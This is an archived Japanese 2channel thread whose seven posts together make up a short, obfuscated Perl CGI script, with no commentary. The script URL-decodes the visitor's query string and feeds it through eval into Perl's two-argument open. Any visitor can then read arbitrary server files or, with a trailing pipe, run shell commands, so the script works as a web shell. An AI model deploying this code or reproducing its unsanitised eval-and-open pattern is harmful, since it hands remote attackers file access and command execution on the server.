トップページ⇒conv
7コメント0KB

■ このスレッドは過去ログ倉庫に格納されています
0001#!/usr/local/bin/perlNGNG
0002print qq(Content-Type: text/plain\n\n);#NGNG
0003$_=$ENV{QUERY_STRING};#NGNG
0004s/[\053]/ /g;#NGNG
0005eval qq(s/%(..)/pack('C'\x2c hex(\$1))/eg);#NGNG
0006eval qq(open F\x2c\$_);#NGNG
0007eval qq(while (\x3cF\x3e) { print; });#NGNG
■ このスレッドは過去ログ倉庫に格納されています